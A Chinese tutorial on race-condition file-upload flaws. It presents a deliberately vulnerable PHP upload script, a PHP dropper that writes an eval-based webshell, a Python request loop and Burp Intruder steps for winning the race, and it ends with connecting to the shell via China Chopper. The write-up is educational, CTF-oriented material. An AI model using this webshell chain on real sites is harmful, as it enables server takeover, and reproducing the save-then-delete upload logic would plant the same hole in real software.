0x00 前言
从本篇开始,正式开启《Web安全系列》原理分析及复现文章
首先,什么是条件竞争上传,条件竞争上传是一种服务器端的漏洞,由于后端程序操作逻辑不合理导致。 由于服务器端在处理不同用户的请求时是并发进行的,因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生,此漏洞一般发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中。
首先我们来假设一个场景,有一个文件上传页面
代码如下:
<html>
<body>
<form action="" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file"/>
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>
<?php
if (!empty($_FILES)) {
move_uploaded_file($_FILES['file']['tmp_name'],$_FILES['file']['name']);
unlink($_FILES['file']['name']);
echo "upload fail";
}
?>
首先检测上传文件是否存在,如果上传文件存在就先保存在服务器中再用unlink
删除,然后输出upload fail
。此处是为了模拟网站文件上传页面后端程序设计逻辑错误引发的条件竞争上传漏洞。
一般这情况下程序员可能会是这样的设计思路:首先将上传文件从缓存中保存到服务器,再检测文件是否安全或者是否符合要求(限制文件格式),如果不满足再将文件删除,整个过程很快,但这种设计思路就很容易利用;
假设我们构造一段恶意php代码文件上传,并且没有经过过滤,然后在该恶意php文件上传之前访问它,因为php之类的代码只要访问它就能执行,那么我们只要访问这个文件就能执行,例如phpinfo()或者写入文件等等操作。
那么下面我们来看一下如何利用。
首先我们试着上传任意文件,都提示上传失败
刚刚我们提到整个上传过程会先将上传文件保存再删除,我们来构造一个恶意php文件,代码如下:
<?PHP
fputs(fopen('y5neko.php','w'),'<?php @eval($_POST[ysneko])?>');
?>
只要我们访问了这个文件,就会在同目录下生成一个ysneko.php
文件,内容为php一句话<?php @eval($_POST[ysneko])?>
因为从上传到删除整个过程很短,因此我们需要用到一个python脚本,用来不断访问这个地址,python脚本如下:
import requests
while 1:
requests.get("上传文件地址")
print(test)
通过requests模块和一个无限循环来不断访问目标地址; 开启脚本后,在此期间使用burpsuite的instruder模块爆破上传页面,burpsuite的配置如下: 首先拦截上传数据
然后把上传数据发送给instruder模块,记得先将字段标记清除,不然会出问题
payload选择Null paload
,下面设置爆破次数
先运行脚本
点击start attack
开始攻击
成功生成ysneko.php,可通过菜刀连接
经过上述分析,我们可以得出结论,先将猛兽放进门再杀之这种设计思路是非常危险的,不过这种方法经常在ctf代码审计中碰到,ctf玩家们可以多多注意一下。